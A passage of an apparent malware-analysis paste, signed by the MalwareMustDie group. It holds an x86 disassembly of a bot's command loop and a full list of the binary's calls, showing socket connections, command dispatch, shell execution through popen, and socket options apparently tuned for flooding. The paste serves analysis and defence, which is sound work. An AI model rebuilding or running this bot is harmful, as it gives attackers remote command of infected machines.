  1868. 0804a677: cmp %eax,-0x14(%ebp)
  1869. 0804a67a: jb 0x0804a649 <main+0x249>
  1870. 0804a67c: mov 0x804c768,%eax
  1871. 0804a681: lea -0x4(%eax),%edx
  1872. 0804a684: mov -0x14(%ebp),%eax
  1873. 0804a687: shl $0x2,%eax
  1874. 0804a68a: lea (%edx,%eax,1),%eax
  1875. 0804a68d: movl $0x0,(%eax)
  1876. 0804a693: mov 0x804c32c,%eax
  1877. 0804a698: sub $0x1,%eax
  1878. 0804a69b: mov %eax,0x804c32c
  1879. 0804a6a0: mov 0x804c32c,%eax
  1880. 0804a6a5: add $0x1,%eax
  1881. 0804a6a8: shl $0x2,%eax
  1882. 0804a6ab: mov %eax,(%esp)
  1883. 0804a6ae: call 0x08048a24 <malloc@plt>
  1884. 0804a6b3: mov %eax,-0x18(%ebp)
  1885. 0804a6b6: movl $0x0,-0x14(%ebp)
  1886. 0804a6bd: jmp 0x0804a6e2 <main+0x2e2>
  1887. 0804a6bf: mov -0x14(%ebp),%eax
  1888. 0804a6c2: shl $0x2,%eax
  1889. 0804a6c5: mov %eax,%ecx
  1890. 0804a6c7: add -0x18(%ebp),%ecx
  1891. 0804a6ca: mov -0x14(%ebp),%eax
  1892. 0804a6cd: shl $0x2,%eax
  1893. 0804a6d0: mov %eax,%edx
  1894. 0804a6d2: mov 0x804c768,%eax
  1895. 0804a6d7: lea (%edx,%eax,1),%eax
  1896. 0804a6da: mov (%eax),%eax
  1897. 0804a6dc: mov %eax,(%ecx)
  1898. 0804a6de: addl $0x1,-0x14(%ebp)
  1899. 0804a6e2: mov 0x804c32c,%eax
  1900. 0804a6e7: cmp %eax,-0x14(%ebp)
  1901. 0804a6ea: jb 0x0804a6bf <main+0x2bf>
  1902. 0804a6ec: mov 0x804c768,%eax
  1903. 0804a6f1: mov %eax,(%esp)
  1904. 0804a6f4: call 0x08048d04 <free@plt>
  1905. 0804a6f9: mov -0x18(%ebp),%eax
  1906. 0804a6fc: mov %eax,0x804c768
  1907. 0804a701: addl $0x1,-0x24(%ebp)
  1908. 0804a705: mov 0x804c32c,%eax
  1909. 0804a70a: cmp %eax,-0x24(%ebp)
  1910. 0804a70d: jb 0x0804a60c <main+0x20c>
  1911. 0804a713: mov 0x804c760,%eax
  1912. 0804a718: shr $0x5,%eax
  1913. 0804a71b: mov -0x1bc(%ebp,%eax,4),%edx
  1914. 0804a722: mov 0x804c760,%eax
  1915. 0804a727: mov %eax,%ecx
  1916. 0804a729: and $0x1f,%ecx
  1917. 0804a72c: mov %edx,%eax
  1918. 0804a72e: shr %cl,%eax
  1919. 0804a730: and $0x1,%eax
  1920. 0804a733: test %al,%al
  1921. 0804a735: je 0x0804a55c <main+0x15c>
  1922. 0804a73b: mov 0x804c760,%eax
  1923. 0804a740: movl $0x0,0xc(%esp)
  1924. 0804a748: movl $0x1000,0x8(%esp)
  1925. 0804a750: lea -0x19bc(%ebp),%edx
  1926. 0804a756: mov %edx,0x4(%esp)
  1927. 0804a75a: mov %eax,(%esp)
  1928. 0804a75d: call 0x08048bd4 <recv@plt>
  1929. 0804a762: mov %eax,-0xc(%ebp)
  1930. 0804a765: cmpl $0x0,-0xc(%ebp)
  1931. 0804a769: jle 0x0804a524 <main+0x124>
  1932. 0804a76f: mov -0xc(%ebp),%eax
  1933. 0804a772: movb $0x0,-0x19bc(%ebp,%eax,1)
  1934. 0804a77a: movl $0x804b03d,0x4(%esp)
  1935. 0804a782: lea -0x19bc(%ebp),%eax
  1936. 0804a788: mov %eax,(%esp)
  1937. 0804a78b: call 0x08048ad4 <strtok@plt>
  1938. 0804a790: mov %eax,-0x10(%ebp)
  1939. 0804a793: jmp 0x0804a92a <main+0x52a>
  1940. 0804a798: mov -0x10(%ebp),%eax
  1941. 0804a79b: mov %eax,(%esp)
  1942. 0804a79e: call 0x080490c0 <filter>
  1943. 0804a7a3: mov -0x10(%ebp),%eax
  1944. 0804a7a6: movzbl (%eax),%eax
  1945. 0804a7a9: cmp $0x3a,%al
  1946. 0804a7ab: jne 0x0804a814 <main+0x414>
  1947. 0804a7ad: movl $0x0,-0xc(%ebp)
  1948. 0804a7b4: jmp 0x0804a7ba <main+0x3ba>
  1949. 0804a7b6: addl $0x1,-0xc(%ebp)
  1950. 0804a7ba: mov -0xc(%ebp),%ebx
  1951. 0804a7bd: mov -0x10(%ebp),%eax
  1952. 0804a7c0: mov %eax,(%esp)
  1953. 0804a7c3: call 0x08048b84 <strlen@plt>
  1954. 0804a7c8: cmp %eax,%ebx
  1955. 0804a7ca: jae 0x0804a7d9 <main+0x3d9>
  1956. 0804a7cc: mov -0xc(%ebp),%eax
  1957. 0804a7cf: add -0x10(%ebp),%eax
  1958. 0804a7d2: movzbl (%eax),%eax
  1959. 0804a7d5: cmp $0x20,%al
  1960. 0804a7d7: jne 0x0804a7b6 <main+0x3b6>
  1961. 0804a7d9: mov -0xc(%ebp),%eax
  1962. 0804a7dc: add -0x10(%ebp),%eax
  1963. 0804a7df: movb $0x0,(%eax)
  1964. 0804a7e2: mov -0x10(%ebp),%eax
  1965. 0804a7e5: add $0x1,%eax
  1966. 0804a7e8: mov %eax,0x4(%esp)
  1967. 0804a7ec: lea -0x9bc(%ebp),%eax
  1968. 0804a7f2: mov %eax,(%esp)
  1969. 0804a7f5: call 0x08048ca4 <strcpy@plt>
  1970. 0804a7fa: mov -0xc(%ebp),%eax
  1971. 0804a7fd: add -0x10(%ebp),%eax
  1972. 0804a800: add $0x1,%eax
  1973. 0804a803: mov %eax,0x4(%esp)
  1974. 0804a807: mov -0x10(%ebp),%eax
  1975. 0804a80a: mov %eax,(%esp)
  1976. 0804a80d: call 0x08048ca4 <strcpy@plt>
  1977. 0804a812: jmp 0x0804a832 <main+0x432>
  1978. 0804a814: movl $0x2,0x8(%esp)
  1979. 0804a81c: movl $0x804b03f,0x4(%esp)
  1980. 0804a824: lea -0x9bc(%ebp),%eax
  1981. 0804a82a: mov %eax,(%esp)
  1982. 0804a82d: call 0x08048c64 <memcpy@plt>
  1983. 0804a832: movl $0x0,-0xc(%ebp)
  1984. 0804a839: jmp 0x0804a83f <main+0x43f>
  1985. 0804a83b: addl $0x1,-0xc(%ebp)
  1986. 0804a83f: mov -0xc(%ebp),%ebx
  1987. 0804a842: mov -0x10(%ebp),%eax
  1988. 0804a845: mov %eax,(%esp)
  1989. 0804a848: call 0x08048b84 <strlen@plt>
  1990. 0804a84d: cmp %eax,%ebx
  1991. 0804a84f: jae 0x0804a85e <main+0x45e>
  1992. 0804a851: mov -0xc(%ebp),%eax
  1993. 0804a854: add -0x10(%ebp),%eax
  1994. 0804a857: movzbl (%eax),%eax
  1995. 0804a85a: cmp $0x20,%al
  1996. 0804a85c: jne 0x0804a83b <main+0x43b>
  1997. 0804a85e: mov -0xc(%ebp),%eax
  1998. 0804a861: add -0x10(%ebp),%eax
  1999. 0804a864: movb $0x0,(%eax)
  2000. 0804a867: mov -0x10(%ebp),%eax
  2001. 0804a86a: mov %eax,0x4(%esp)
  2002. 0804a86e: lea -0x5bc(%ebp),%eax
  2003. 0804a874: mov %eax,(%esp)
  2004. 0804a877: call 0x08048ca4 <strcpy@plt>
  2005. 0804a87c: mov -0xc(%ebp),%eax
  2006. 0804a87f: add -0x10(%ebp),%eax
  2007. 0804a882: add $0x1,%eax
  2008. 0804a885: mov %eax,0x4(%esp)
  2009. 0804a889: mov -0x10(%ebp),%eax
  2010. 0804a88c: mov %eax,(%esp)
  2011. 0804a88f: call 0x08048ca4 <strcpy@plt>
  2012. 0804a894: movl $0x0,-0xc(%ebp)
  2013. 0804a89b: jmp 0x0804a8e7 <main+0x4e7>
  2014. 0804a89d: mov -0xc(%ebp),%eax
  2015. 0804a8a0: mov 0x804c2c0(,%eax,8),%edx
  2016. 0804a8a7: lea -0x5bc(%ebp),%eax
  2017. 0804a8ad: mov %eax,0x4(%esp)
  2018. 0804a8b1: mov %edx,(%esp)
  2019. 0804a8b4: call 0x08048bf4 <strcasecmp@plt>
  2020. 0804a8b9: test %eax,%eax
  2021. 0804a8bb: jne 0x0804a8e3 <main+0x4e3>
  2022. 0804a8bd: mov -0xc(%ebp),%eax
  2023. 0804a8c0: mov 0x804c2c4(,%eax,8),%ecx
  2024. 0804a8c7: mov 0x804c760,%edx
  2025. 0804a8cd: mov -0x10(%ebp),%eax
  2026. 0804a8d0: mov %eax,0x8(%esp)
  2027. 0804a8d4: lea -0x9bc(%ebp),%eax
  2028. 0804a8da: mov %eax,0x4(%esp)
  2029. 0804a8de: mov %edx,(%esp)
  2030. 0804a8e1: call *%ecx
  2031. 0804a8e3: addl $0x1,-0xc(%ebp)
  2032. 0804a8e7: mov -0xc(%ebp),%eax
  2033. 0804a8ea: mov 0x804c2c0(,%eax,8),%eax
  2034. 0804a8f1: test %eax,%eax
  2035. 0804a8f3: jne 0x0804a89d <main+0x49d>
  2036. 0804a8f5: movl $0x804b041,0x4(%esp)
  2037. 0804a8fd: lea -0x5bc(%ebp),%eax
  2038. 0804a903: mov %eax,(%esp)
  2039. 0804a906: call 0x08048bf4 <strcasecmp@plt>
  2040. 0804a90b: test %eax,%eax
  2041. 0804a90d: je 0x0804a524 <main+0x124>
  2042. 0804a913: movl $0x804b03d,0x4(%esp)
  2043. 0804a91b: movl $0x0,(%esp)
  2044. 0804a922: call 0x08048ad4 <strtok@plt>
  2045. 0804a927: mov %eax,-0x10(%ebp)
  2046. 0804a92a: cmpl $0x0,-0x10(%ebp)
  2047. 0804a92e: je 0x0804a55c <main+0x15c>
  2048. 0804a934: mov -0x10(%ebp),%eax
  2049. 0804a937: movzbl (%eax),%eax
  2050. 0804a93a: test %al,%al
  2051. 0804a93c: jne 0x0804a798 <main+0x398>
  2052. 0804a942: jmp 0x0804a55c <main+0x15c>
  2053. 0804a947: nop
  2054. 0804a948: nop
  2055. 0804a949: nop
  2056. 0804a94a: nop
  2057. 0804a94b: nop
  2058. 0804a94c: nop
  2059. 0804a94d: nop
  2060. 0804a94e: nop
  2061. 0804a94f: nop
  2062.  
  2063. # 0804a950 <__do_global_ctors_aux>:
  2064. 0804a950: push %ebp
  2065. 0804a951: mov %esp,%ebp
  2066. 0804a953: push %ebx
  2067. 0804a954: sub $0x4,%esp
  2068. 0804a957: mov 0x804c094,%eax
  2069. 0804a95c: cmp $0xffffffff,%eax
  2070. 0804a95f: je 0x0804a973 <__do_global_ctors_aux+0x23>
  2071. 0804a961: xor %ebx,%ebx
  2072. 0804a963: call *%eax
  2073. 0804a965: mov 0x804c090(%ebx),%eax
  2074. 0804a96b: sub $0x4,%ebx
  2075. 0804a96e: cmp $0xffffffff,%eax
  2076. 0804a971: jne 0x0804a963 <__do_global_ctors_aux+0x13>
  2077. 0804a973: add $0x4,%esp
  2078. 0804a976: pop %ebx
  2079. 0804a977: pop %ebp
  2080. 0804a978: ret
  2081. 0804a979: nop
  2082. 0804a97a: nop
  2083. 0804a97b: nop
  2084.  
  2085.  
  2086. // List of calls:
  2087.  
  2088. 0x08048d33: call 0x08048d40 <_start1>
  2089. 0x08048da1: call 0x08048ac4 <atexit@plt>
  2090. 0x08048dad: call 0x08048ac4 <atexit@plt>
  2091. 0x08048db2: call 0x08048a00 <_init>
  2092. 0x08048dc2: call 0x0804a400 <main>
  2093. 0x08048dca: call 0x08048cb4 <exit@plt>
  2094. 0x08048dcf: call 0x08048b04 <_init_tls@plt>
  2095. 0x08048e8b: call 0x08048e40 <strwildmatch>
  2096. 0x08048eae: call 0x08048e40 <strwildmatch>
  2097. 0x08048eef: call 0x08048e40 <strwildmatch>
  2098. 0x08048f1c: call 0x08048f80 <__sbtoupper>
  2099. 0x08048f2f: call 0x08048f80 <__sbtoupper>
  2100. 0x08048f4b: call 0x08048e40 <strwildmatch>
  2101. 0x08048fe1: call 0x08048c74 <vsprintf@plt>
  2102. 0x08048fed: call 0x08048b84 <strlen@plt>
  2103. 0x08049004: call 0x08048cf4 <write@plt>
  2104. 0x08049016: call 0x08048a84 <fork@plt>
  2105. 0x0804904a: call 0x08048a24 <malloc@plt>
  2106. 0x080490a8: call 0x08048d04 <free@plt>
  2107. 0x080490d5: call 0x08048b84 <strlen@plt>
  2108. 0x080490ec: call 0x08048b84 <strlen@plt>
  2109. 0x08049107: call 0x08048b84 <strlen@plt>
  2110. 0x08049138: call 0x08048a24 <malloc@plt>
  2111. 0x08049158: call 0x08048c94 <memset@plt>
  2112. 0x0804916e: call 0x08048b14 <rand@plt>
  2113. 0x080491f3: call 0x080491c0 <pow>
  2114. 0x080492b0: call 0x08049010 <mfork>
  2115. 0x080492d8: call 0x08048fc0 <send_msg>
  2116. 0x080492e4: call 0x08048cb4 <exit@plt>
  2117. 0x08049300: call 0x08048ae4 <socket@plt>
  2118. 0x08049323: call 0x08048fc0 <send_msg>
  2119. 0x0804932f: call 0x08048cb4 <exit@plt>
  2120. 0x0804934f: call 0x08048ba4 <strncmp@plt>
  2121. 0x08049370: call 0x08048ca4 <strcpy@plt>
  2122. 0x0804938c: call 0x08048ca4 <strcpy@plt>
  2123. 0x080493aa: call 0x08048b84 <strlen@plt>
  2124. 0x080493e0: call 0x08048a94 <__inet_addr@plt>
  2125. 0x080493f7: call 0x08048c14 <gethostbyname@plt>
  2126. 0x0804941a: call 0x08048fc0 <send_msg>
  2127. 0x08049426: call 0x08048cb4 <exit@plt>
  2128. 0x0804944c: call 0x08048c64 <memcpy@plt>
  2129. 0x08049472: call 0x08048c94 <memset@plt>
  2130. 0x0804948c: call 0x08048af4 <connect@plt>
  2131. 0x080494aa: call 0x08048fc0 <send_msg>
  2132. 0x080494b6: call 0x08048cb4 <exit@plt>
  2133. 0x080494e7: call 0x08048fc0 <send_msg>
  2134. 0x08049503: call 0x08048fc0 <send_msg>
  2135. 0x0804951b: call 0x08048ce4 <fopen@plt>
  2136. 0x08049543: call 0x08048bd4 <recv@plt>
  2137. 0x08049592: call 0x08048ba4 <strncmp@plt>
  2138. 0x080495b9: call 0x08048a64 <fputc@plt>
  2139. 0x08049601: call 0x08048fc0 <send_msg>
  2140. 0x08049626: call 0x08048bd4 <recv@plt>
  2141. 0x08049669: call 0x08048a64 <fputc@plt>
  2142. 0x08049682: call 0x08048b24 <fclose@plt>
  2143. 0x0804968d: call 0x08048b54 <close@plt>
  2144. 0x08049699: call 0x08048cb4 <exit@plt>
  2145. 0x080496d1: call 0x08048fc0 <send_msg>
  2146. 0x080496e3: call 0x08048b84 <strlen@plt>
  2147. 0x08049702: call 0x08048fc0 <send_msg>
  2148. 0x08049723: call 0x08048fc0 <send_msg>
  2149. 0x0804973c: call 0x08048a94 <__inet_addr@plt>
  2150. 0x08049756: call 0x08048c14 <gethostbyname@plt>
  2151. 0x08049782: call 0x08048fc0 <send_msg>
  2152. 0x0804978e: call 0x08048cb4 <exit@plt>
  2153. 0x080497b2: call 0x08048c44 <bcopy@plt>
  2154. 0x080497e1: call 0x08048fc0 <send_msg>
  2155. 0x080497ed: call 0x08048cb4 <exit@plt>
  2156. 0x080497fd: call 0x08048b34 <strdup@plt>
  2157. 0x08049817: call 0x08048b54 <close@plt>
  2158. 0x08049835: call 0x08048cc4 <kill@plt>
  2159. 0x0804984c: call 0x08049010 <mfork>
  2160. 0x0804986e: call 0x08048fc0 <send_msg>
  2161. 0x08049888: call 0x08048fc0 <send_msg>
  2162. 0x080498a2: call 0x08048fc0 <send_msg>
  2163. 0x080498bc: call 0x08048fc0 <send_msg>
  2164. 0x080498d6: call 0x08048fc0 <send_msg>
  2165. 0x080498f0: call 0x08048fc0 <send_msg>
  2166. 0x0804990a: call 0x08048fc0 <send_msg>
  2167. 0x08049916: call 0x08048cb4 <exit@plt>
  2168. 0x08049940: call 0x08048b84 <strlen@plt>
  2169. 0x08049987: call 0x08048b84 <strlen@plt>
  2170. 0x080499c3: call 0x08048bf4 <strcasecmp@plt>
  2171. 0x080499ea: call 0x08048c94 <memset@plt>
  2172. 0x08049a10: call 0x08048b84 <strlen@plt>
  2173. 0x08049a3e: call 0x08048e40 <strwildmatch>
  2174. 0x08049a70: call 0x08048ba4 <strncmp@plt>
  2175. 0x08049a91: call 0x08048fc0 <send_msg>
  2176. 0x08049aac: call 0x08048ba4 <strncmp@plt>
  2177. 0x08049abf: call 0x08049010 <mfork>
  2178. 0x08049ae5: call 0x08048c94 <memset@plt>
  2179. 0x08049b05: call 0x08048b44 <sprintf@plt>
  2180. 0x08049b1b: call 0x08048b74 <popen@plt>
  2181. 0x08049b3e: call 0x08048c94 <memset@plt>
  2182. 0x08049b5b: call 0x08048ab4 <fgets@plt>
  2183. 0x08049b82: call 0x08048fc0 <send_msg>
  2184. 0x08049b8e: call 0x08048c54 <sleep@plt>
  2185. 0x08049bb8: call 0x08048bc4 <feof@plt>
  2186. 0x08049bd9: call 0x08048a54 <pclose@plt>
  2187. 0x08049be5: call 0x08048cb4 <exit@plt>
  2188. 0x08049bf0: call 0x08048b84 <strlen@plt>
  2189. 0x08049c5c: call 0x08048b84 <strlen@plt>
  2190. 0x08049cbf: call 0x08048b84 <strlen@plt>
  2191. 0x08049ce1: call 0x08048a24 <malloc@plt>
  2192. 0x08049d02: call 0x08048c24 <strncpy@plt>
  2193. 0x08049d4f: call 0x08048bf4 <strcasecmp@plt>
  2194. 0x08049d95: call 0x08048d04 <free@plt>
  2195. 0x08049ded: call 0x08048fc0 <send_msg>
  2196. 0x08049e13: call 0x08048fc0 <send_msg>
  2197. 0x08049e2f: call 0x08048fc0 <send_msg>
  2198. 0x08049e5b: call 0x08048fc0 <send_msg>
  2199. 0x08049e9e: call 0x08048b84 <strlen@plt>
  2200. 0x08049ebe: call 0x08048b84 <strlen@plt>
  2201. 0x08049eeb: call 0x08048b84 <strlen@plt>
  2202. 0x08049f19: call 0x08048bf4 <strcasecmp@plt>
  2203. 0x08049f5a: call 0x08048b84 <strlen@plt>
  2204. 0x08049f7a: call 0x08048b84 <strlen@plt>
  2205. 0x08049fa7: call 0x08048b84 <strlen@plt>
  2206. 0x08049fcc: call 0x08048a94 <__inet_addr@plt>
  2207. 0x08049fe2: call 0x08048c14 <gethostbyname@plt>
  2208. 0x0804a005: call 0x08048fc0 <send_msg>
  2209. 0x0804a02a: call 0x08048c64 <memcpy@plt>
  2210. 0x0804a08e: call 0x08048d04 <free@plt>
  2211. 0x0804a093: call 0x08049120 <makestring>
  2212. 0x0804a0bd: call 0x08048b84 <strlen@plt>
  2213. 0x0804a0eb: call 0x08048bf4 <strcasecmp@plt>
  2214. 0x0804a113: call 0x08048d04 <free@plt>
  2215. 0x0804a11e: call 0x08048b34 <strdup@plt>
  2216. 0x0804a150: call 0x08048b14 <rand@plt>
  2217. 0x0804a194: call 0x08048ae4 <socket@plt>
  2218. 0x0804a1af: call 0x08048a94 <__inet_addr@plt>
  2219. 0x0804a1c0: call 0x08048a94 <__inet_addr@plt>
  2220. 0x0804a1d2: call 0x08048c14 <gethostbyname@plt>
  2221. 0x0804a1f2: call 0x08048b54 <close@plt>
  2222. 0x0804a21d: call 0x08048c44 <bcopy@plt>
  2223. 0x0804a22c: call 0x08048a94 <__inet_addr@plt>
  2224. 0x0804a255: call 0x08048c04 <ioctl@plt>
  2225. 0x0804a261: call 0x08048be4 <time@plt>
  2226. 0x0804a26e: call 0x08048c34 <__error@plt>
  2227. 0x0804a291: call 0x08048af4 <connect@plt>
  2228. 0x0804a29a: call 0x08048c34 <__error@plt>
  2229. 0x0804a2d2: call 0x08048b94 <setsockopt@plt>
  2230. 0x0804a2ff: call 0x08048b94 <setsockopt@plt>
  2231. 0x0804a32c: call 0x08048b94 <setsockopt@plt>
  2232. 0x0804a333: call 0x08048c34 <__error@plt>
  2233. 0x0804a33f: call 0x08048c34 <__error@plt>
  2234. 0x0804a352: call 0x08048c54 <sleep@plt>
  2235. 0x0804a35e: call 0x08048be4 <time@plt>
  2236. 0x0804a381: call 0x08048b54 <close@plt>
  2237. 0x0804a3ad: call 0x08048a44 <open@plt>
  2238. 0x0804a3c3: call 0x08048cd4 <flock@plt>
  2239. 0x0804a3d1: call 0x08048c34 <__error@plt>
  2240. 0x0804a3e4: call 0x08048aa4 <printf@plt>
  2241. 0x0804a3f0: call 0x08048cb4 <exit@plt>
  2242. 0x0804a41b: call 0x0804a390 <lockfile>
  2243. 0x0804a420: call 0x08048a84 <fork@plt>
  2244. 0x0804a430: call 0x08048cb4 <exit@plt>
  2245. 0x0804a443: call 0x08048b84 <strlen@plt>
  2246. 0x0804a464: call 0x08048c24 <strncpy@plt>
  2247. 0x0804a486: call 0x08048b84 <strlen@plt>
  2248. 0x0804a4ad: call 0x08048c94 <memset@plt>
  2249. 0x0804a4ca: call 0x08048be4 <time@plt>
  2250. 0x0804a4d1: call 0x08048c84 <getpid@plt>
  2251. 0x0804a4d8: call 0x08048a34 <getppid@plt>
  2252. 0x0804a4e3: call 0x08048a74 <srand@plt>
  2253. 0x0804a4e8: call 0x08049120 <makestring>
  2254. 0x0804a4f2: call 0x08049120 <makestring>
  2255. 0x0804a524: call 0x0804a130 <con>
  2256. 0x0804a557: call 0x08048fc0 <send_msg>
  2257. 0x0804a5f3: call 0x08048bb4 <select@plt>
  2258. 0x0804a631: call 0x08048b64 <waitpid@plt>
  2259. 0x0804a6ae: call 0x08048a24 <malloc@plt>
  2260. 0x0804a6f4: call 0x08048d04 <free@plt>
  2261. 0x0804a75d: call 0x08048bd4 <recv@plt>
  2262. 0x0804a78b: call 0x08048ad4 <strtok@plt>
  2263. 0x0804a79e: call 0x080490c0 <filter>
  2264. 0x0804a7c3: call 0x08048b84 <strlen@plt>
  2265. 0x0804a7f5: call 0x08048ca4 <strcpy@plt>
  2266. 0x0804a80d: call 0x08048ca4 <strcpy@plt>
  2267. 0x0804a82d: call 0x08048c64 <memcpy@plt>
  2268. 0x0804a848: call 0x08048b84 <strlen@plt>
  2269. 0x0804a877: call 0x08048ca4 <strcpy@plt>
  2270. 0x0804a88f: call 0x08048ca4 <strcpy@plt>
  2271. 0x0804a8b4: call 0x08048bf4 <strcasecmp@plt>
  2272. 0x0804a906: call 0x08048bf4 <strcasecmp@plt>
  2273. 0x0804a922: call 0x08048ad4 <strtok@plt>
  2274.  
  2275.  
  2276. ---
  2277. #MalwareMustDie!
  2278. @unixfreaxjp | Thu May 30 20:44:40 JST 2013
Add Comment
Please, Sign In to add comment